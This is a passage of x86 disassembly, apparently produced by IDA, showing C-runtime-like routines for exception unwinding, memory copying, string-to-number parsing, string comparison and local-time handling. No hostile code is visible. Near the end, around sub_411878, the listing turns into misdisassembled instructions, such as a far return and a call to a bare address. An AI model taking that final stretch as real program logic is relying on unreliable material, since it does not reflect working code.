		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4110CD:				; CODE XREF: sub_4110AC+10j
		retn
sub_4110AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4110CE	proc near		; CODE XREF: sub_415252+Dp
					; sub_417AAC+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4110AC
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_4110EB:				; CODE XREF: sub_4110CE:loc_411126j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_411128
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_411128
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_411126
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_411162
		call	dword ptr [ebx+esi*4+8]


loc_411126:				; CODE XREF: sub_4110CE+44j
		jmp	short loc_4110EB
; ---------------------------------------------------------------------------


loc_411128:				; CODE XREF: sub_4110CE+2Aj
					; sub_4110CE+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4110CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_411136	proc near		; CODE XREF: sub_415272+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4110AC
		jnz	short locret_411158
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_411158
		mov	eax, 1

locret_411158:				; CODE XREF: sub_411136+10j
					; sub_411136+1Bj
		retn
sub_411136	endp


; =============== S U B	R O U T	I N E =======================================



sub_411159	proc near		; CODE XREF: sub_415530+1Ep
					; sub_415530+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_42D7FC
		jmp	short loc_41116C
sub_411159	endp


; =============== S U B	R O U T	I N E =======================================



sub_411162	proc near		; CODE XREF: sub_4110CE+4Fp
					; sub_417AAC+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_42D7FC
		mov	ecx, [ebp+8]


loc_41116C:				; CODE XREF: sub_411159+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_411162	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41117C	proc near		; CODE XREF: sub_402102+5p
					; sub_4022A4+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41117C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41119B	proc near		; CODE XREF: sub_402779+26p
					; seg000:0041AD65p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_410B5F
		pop	ecx
		retn
sub_41119B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4111B0	proc near		; CODE XREF: sub_4027EA+3Ap
					; sub_41350B+2EEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4111D0
		cmp	edi, eax
		jb	loc_411348


loc_4111D0:				; CODE XREF: sub_4111B0+16j
		test	edi, 3
		jnz	short loc_4111EC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41120C
		rep movsd
		jmp	ds:off_4112F8[edx*4]
; ---------------------------------------------------------------------------


loc_4111EC:				; CODE XREF: sub_4111B0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_411204
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41120C+4[eax*4]
; ---------------------------------------------------------------------------


loc_411204:				; CODE XREF: sub_4111B0+46j
		jmp	dword ptr ds:loc_411308[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41120C:				; CODE XREF: sub_4111B0+31j
					; sub_4111B0+8Ej ...
		jmp	ds:off_41128C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_411220
		dd offset loc_41124C
		dd offset loc_411270
; ---------------------------------------------------------------------------


loc_411220:				; DATA XREF: sub_4111B0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41120C
		rep movsd
		jmp	ds:off_4112F8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41124C:				; DATA XREF: sub_4111B0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41120C
		rep movsd
		jmp	ds:off_4112F8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_411270:				; DATA XREF: sub_4111B0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41120C
		rep movsd
		jmp	ds:off_4112F8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41128C	dd offset loc_4112EF	; DATA XREF: sub_4111B0:loc_41120Cr
		dd offset loc_4112DC
		dd offset loc_4112D4
		dd offset loc_4112CC
		dd offset loc_4112C4
		dd offset loc_4112BC
		dd offset loc_4112B4
		dd offset loc_4112AC
; ---------------------------------------------------------------------------


loc_4112AC:				; CODE XREF: sub_4111B0:loc_41120Cj
					; DATA XREF: sub_4111B0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4112B4:				; CODE XREF: sub_4111B0:loc_41120Cj
					; DATA XREF: sub_4111B0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4112BC:				; CODE XREF: sub_4111B0:loc_41120Cj
					; DATA XREF: sub_4111B0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4112C4:				; CODE XREF: sub_4111B0:loc_41120Cj
					; DATA XREF: sub_4111B0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4112CC:				; CODE XREF: sub_4111B0:loc_41120Cj
					; DATA XREF: sub_4111B0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4112D4:				; CODE XREF: sub_4111B0:loc_41120Cj
					; DATA XREF: sub_4111B0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4112DC:				; CODE XREF: sub_4111B0:loc_41120Cj
					; DATA XREF: sub_4111B0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4112EF:				; CODE XREF: sub_4111B0:loc_41120Cj
					; DATA XREF: sub_4111B0:off_41128Co
		jmp	ds:off_4112F8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4112F8	dd offset loc_411308	; DATA XREF: sub_4111B0+35r
					; sub_4111B0+92r ...
		dd offset loc_411310
		dd offset loc_41131C
		dd offset loc_411330
; ---------------------------------------------------------------------------


loc_411308:				; CODE XREF: sub_4111B0+35j
					; sub_4111B0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_411310:				; CODE XREF: sub_4111B0+35j
					; sub_4111B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41131C:				; CODE XREF: sub_4111B0+35j
					; sub_4111B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_411330:				; CODE XREF: sub_4111B0+35j
					; sub_4111B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_411348:				; CODE XREF: sub_4111B0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41137C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_411370
		std
		rep movsd
		cld
		jmp	ds:off_411490[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_411370:				; CODE XREF: sub_4111B0+1B1j
					; sub_4111B0+208j ...
		neg	ecx
		jmp	ds:off_411440[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41137C:				; CODE XREF: sub_4111B0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_411394
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_411394+4[eax*4]
; ---------------------------------------------------------------------------


loc_411394:				; CODE XREF: sub_4111B0+1D6j
					; DATA XREF: sub_4111B0+1DDr
		jmp	ds:off_411490[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4113A8
		dd offset loc_4113C8
		dd offset loc_4113F0
; ---------------------------------------------------------------------------


loc_4113A8:				; DATA XREF: sub_4111B0+1ECo
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_411370
		std
		rep movsd
		cld
		jmp	ds:off_411490[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4113C8:				; DATA XREF: sub_4111B0+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_411370
		std
		rep movsd
		cld
		jmp	ds:off_411490[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_4113F0:				; DATA XREF: sub_4111B0+1F4o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_411370
		std
		rep movsd
		cld
		jmp	ds:off_411490[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_411444
		dd offset loc_41144C
		dd offset loc_411454
		dd offset loc_41145C
		dd offset loc_411464
		dd offset loc_41146C
		dd offset loc_411474
off_411440	dd offset loc_411487	; DATA XREF: sub_4111B0+1C2r
; ---------------------------------------------------------------------------


loc_411444:				; DATA XREF: sub_4111B0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41144C:				; DATA XREF: sub_4111B0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_411454:				; DATA XREF: sub_4111B0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41145C:				; DATA XREF: sub_4111B0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_411464:				; DATA XREF: sub_4111B0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41146C:				; DATA XREF: sub_4111B0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_411474:				; DATA XREF: sub_4111B0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_411487:				; CODE XREF: sub_4111B0+1C2j
					; DATA XREF: sub_4111B0:off_411440o
		jmp	ds:off_411490[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_411490	dd offset loc_4114A0	; DATA XREF: sub_4111B0+1B7r
					; sub_4111B0:loc_411394r ...
		dd offset loc_4114A8
		dd offset loc_4114B8
		dd offset loc_4114CC
; ---------------------------------------------------------------------------


loc_4114A0:				; CODE XREF: sub_4111B0+1B7j
					; sub_4111B0:loc_411394j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4114A8:				; CODE XREF: sub_4111B0+1B7j
					; sub_4111B0:loc_411394j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4114B8:				; CODE XREF: sub_4111B0+1B7j
					; sub_4111B0:loc_411394j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4114CC:				; CODE XREF: sub_4111B0+1B7j
					; sub_4111B0:loc_411394j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4111B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4114E5	proc near		; CODE XREF: sub_402851+34p
					; sub_402851+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_410AFD
		pop	ecx
		pop	ecx
		retn
sub_4114E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4114F3	proc near		; CODE XREF: sub_411560+4p

arg_0		= dword	ptr  4

		push	esi
		push	ds:dword_460194
		call	sub_415628
		mov	edx, ds:dword_460194
		pop	ecx
		mov	ecx, ds:dword_460190
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_411552
		push	edx
		call	sub_415628
		add	eax, 10h
		push	eax
		push	ds:dword_460194
		call	sub_41230F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_411535
		retn
; ---------------------------------------------------------------------------


loc_411535:				; CODE XREF: sub_4114F3+3Fj
		mov	ecx, ds:dword_460190
		sub	ecx, ds:dword_460194
		mov	ds:dword_460194, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	ds:dword_460190, ecx


loc_411552:				; CODE XREF: sub_4114F3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	ds:dword_460190, 4
		retn
sub_4114F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_411560	proc near		; CODE XREF: sub_40293E+1Ap
					; sub_41AF6E+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4114F3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_411560	endp


; =============== S U B	R O U T	I N E =======================================



sub_411572	proc near		; DATA XREF: seg002:0041E014o
		push	80h
		call	sub_410AEB
		test	eax, eax
		pop	ecx
		mov	ds:dword_460194, eax
		jnz	short loc_411593
		push	18h
		call	sub_412A6E
		mov	eax, ds:dword_460194
		pop	ecx


loc_411593:				; CODE XREF: sub_411572+12j
		and	dword ptr [eax], 0
		mov	eax, ds:dword_460194
		mov	ds:dword_460190, eax
		retn
sub_411572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4115A1	proc near		; CODE XREF: sub_4117A9+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_4115B9:				; CODE XREF: sub_4115A1+46j
		cmp	ds:dword_42DA2C, 1
		jle	short loc_4115D1
		movzx	eax, bl
		push	8
		push	eax
		call	sub_4133D6
		pop	ecx
		pop	ecx
		jmp	short loc_4115E0
; ---------------------------------------------------------------------------


loc_4115D1:				; CODE XREF: sub_4115A1+1Fj
		mov	ecx, ds:off_42D820
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4115E0:				; CODE XREF: sub_4115A1+2Ej
		test	eax, eax
		jz	short loc_4115E9
		mov	bl, [esi]
		inc	esi
		jmp	short loc_4115B9
; ---------------------------------------------------------------------------


loc_4115E9:				; CODE XREF: sub_4115A1+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_4115F7
		or	[ebp+arg_C], 2
		jmp	short loc_4115FC
; ---------------------------------------------------------------------------


loc_4115F7:				; CODE XREF: sub_4115A1+4Ej
		cmp	bl, 2Bh
		jnz	short loc_411602


loc_4115FC:				; CODE XREF: sub_4115A1+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_411602:				; CODE XREF: sub_4115A1+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_411799
		cmp	eax, 1
		jz	loc_411799
		cmp	eax, 24h
		jg	loc_411799
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41164A
		cmp	bl, 30h
		jz	short loc_411634
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_411666
; ---------------------------------------------------------------------------


loc_411634:				; CODE XREF: sub_4115A1+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_411647
		cmp	al, 58h
		jz	short loc_411647
		mov	[ebp+arg_8], 8
		jmp	short loc_411666
; ---------------------------------------------------------------------------


loc_411647:				; CODE XREF: sub_4115A1+97j
					; sub_4115A1+9Bj
		mov	[ebp+arg_8], ecx


loc_41164A:				; CODE XREF: sub_4115A1+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_411666
		cmp	bl, 30h
		jnz	short loc_411666
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41165E
		cmp	al, 58h
		jnz	short loc_411666


loc_41165E:				; CODE XREF: sub_4115A1+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_411666:				; CODE XREF: sub_4115A1+91j
					; sub_4115A1+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_411676:				; CODE XREF: sub_4115A1+16Cj
		cmp	ds:dword_42DA2C, 1
		movzx	esi, bl
		jle	short loc_41168E
		push	4
		push	esi
		call	sub_4133D6
		pop	ecx
		pop	ecx
		jmp	short loc_411699
; ---------------------------------------------------------------------------


loc_41168E:				; CODE XREF: sub_4115A1+DFj
		mov	eax, ds:off_42D820
		mov	al, [eax+esi*2]
		and	eax, 4


loc_411699:				; CODE XREF: sub_4115A1+EBj
		test	eax, eax
		jz	short loc_4116A5
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_4116D7
; ---------------------------------------------------------------------------


loc_4116A5:				; CODE XREF: sub_4115A1+FAj
		cmp	ds:dword_42DA2C, 1
		jle	short loc_4116B9
		push	edi
		push	esi
		call	sub_4133D6
		pop	ecx
		pop	ecx
		jmp	short loc_4116C4
; ---------------------------------------------------------------------------


loc_4116B9:				; CODE XREF: sub_4115A1+10Bj
		mov	eax, ds:off_42D820
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_4116C4:				; CODE XREF: sub_4115A1+116j
		test	eax, eax
		jz	short loc_411712
		movsx	eax, bl
		push	eax
		call	sub_415651
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_4116D7:				; CODE XREF: sub_4115A1+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_411712
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_4116FC
		jnz	short loc_4116F6
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_4116FC


loc_4116F6:				; CODE XREF: sub_4115A1+147j
		or	[ebp+arg_C], 4
		jmp	short loc_411705
; ---------------------------------------------------------------------------


loc_4116FC:				; CODE XREF: sub_4115A1+145j
					; sub_4115A1+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_411705:				; CODE XREF: sub_4115A1+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_411676
; ---------------------------------------------------------------------------


loc_411712:				; CODE XREF: sub_4115A1+125j
					; sub_4115A1+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_411730
		test	edx, edx
		jz	short loc_41172A
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41172A:				; CODE XREF: sub_4115A1+181j
		and	[ebp+var_8], 0
		jmp	short loc_41177D
; ---------------------------------------------------------------------------


loc_411730:				; CODE XREF: sub_4115A1+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_411756
		test	cl, 1
		jnz	short loc_41177D
		and	ecx, 2
		jz	short loc_41174D
		cmp	[ebp+var_8], 80000000h
		ja	short loc_411756


loc_41174D:				; CODE XREF: sub_4115A1+1A1j
		test	ecx, ecx
		jnz	short loc_41177D
		cmp	[ebp+var_8], eax
		jbe	short loc_41177D


loc_411756:				; CODE XREF: sub_4115A1+197j
					; sub_4115A1+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	ds:dword_45EB14, 22h
		jz	short loc_41176C
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41177D
; ---------------------------------------------------------------------------


loc_41176C:				; CODE XREF: sub_4115A1+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41177D:				; CODE XREF: sub_4115A1+18Dj
					; sub_4115A1+19Cj ...
		test	edx, edx
		jz	short loc_411786
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_411786:				; CODE XREF: sub_4115A1+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_411794
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_411794:				; CODE XREF: sub_4115A1+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_4117A4
; ---------------------------------------------------------------------------


loc_411799:				; CODE XREF: sub_4115A1+66j
					; sub_4115A1+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4117A2
		mov	[eax], edi


loc_4117A2:				; CODE XREF: sub_4115A1+1FDj
		xor	eax, eax


loc_4117A4:				; CODE XREF: sub_4115A1+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4115A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4117A9	proc near		; CODE XREF: sub_40295F+4BDp
					; seg000:0040BE05p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4115A1
		add	esp, 10h
		retn
sub_4117A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4117C0	proc near		; CODE XREF: sub_40295F+277p
					; sub_40295F+29Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41180C


loc_4117D0:				; CODE XREF: sub_4117C0+3Cj
					; sub_4117C0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_411804
		or	al, al
		jz	short loc_411800
		cmp	ah, [ecx+1]
		jnz	short loc_411804
		or	ah, ah
		jz	short loc_411800
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_411804
		or	al, al
		jz	short loc_411800
		cmp	ah, [ecx+3]
		jnz	short loc_411804
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_4117D0
		mov	edi, edi


loc_411800:				; CODE XREF: sub_4117C0+18j
					; sub_4117C0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_411804:				; CODE XREF: sub_4117C0+14j
					; sub_4117C0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41180C:				; CODE XREF: sub_4117C0+Ej
		test	edx, 1
		jz	short loc_411828
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_411804
		inc	ecx
		or	al, al
		jz	short loc_411800
		test	edx, 2
		jz	short loc_4117D0


loc_411828:				; CODE XREF: sub_4117C0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_411804
		or	al, al
		jz	short loc_411800
		cmp	ah, [ecx+1]
		jnz	short loc_411804
		or	ah, ah
		jz	short loc_411800
		add	ecx, 2
		jmp	short loc_4117D0
sub_4117C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411844	proc near		; CODE XREF: sub_40295F+266p
					; sub_40295F+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_410A70
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41571D
		add	esp, 10h
		leave
		retn
sub_411844	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411878	proc far		; CODE XREF: sub_40295F+4Ep

var_20		= byte ptr -20h
var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_41C100	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 0A70000h
		retf
sub_411878	endp

; ---------------------------------------------------------------------------
		mov	ax, [ebp-16h]
		cmp	ax, ds:word_45EB0A
		jnz	short loc_4118DD
		mov	ax, [ebp-18h]
		cmp	ax, ds:word_45EB08
		jnz	short loc_4118DD
		mov	ax, [ebp-1Ah]
		cmp	ax, ds:word_45EB06
		jnz	short loc_4118DD
		mov	ax, [ebp-1Eh]
		cmp	ax, ds:word_45EB02
		jnz	short loc_4118DD
		mov	ax, [ebp-20h]
		cmp	ax, ds:word_45EB00
		jnz	short loc_4118DD
		mov	eax, ds:dword_45EAF8
		jmp	short loc_411922
; ---------------------------------------------------------------------------


loc_4118DD:				; CODE XREF: seg000:004118A0j
					; seg000:004118ADj ...
		lea	eax, [ebp-0CCh]
		push	eax
		call	near ptr 0A70000h
		and	al, 83h
		clc
		push	dword ptr [ebx+ebx-7Dh]
		clc
		add	dh, [ebp+12h]
		cmp	word ptr [ebp-32h], 0
		jz	short loc_411906
		cmp	dword ptr [ebp-24h], 0
		jz	short loc_411906
		push	1
		pop	eax
		jmp	short loc_41190D
; ---------------------------------------------------------------------------


loc_411906:				; CODE XREF: seg000:004118F9j
					; seg000:004118FFj
		xor	eax, eax
		jmp	short loc_41190D
; ---------------------------------------------------------------------------
		or	eax, 0FFFFFFFFh


loc_41190D:				; CODE XREF: seg000:00411904j
					; seg000:00411908j
		push	esi
		push	edi
		lea	esi, [ebp-20h]
		mov	edi, offset word_45EB00
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	ds:dword_45EAF8, eax
		pop	esi


loc_411922:				; CODE XREF: seg000:004118DBj
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		call	sub_4161CE
		mov	ecx, [ebp+8]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_411952
		mov	[ecx], eax

locret_411952:				; CODE XREF: seg000:0041194Ej
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



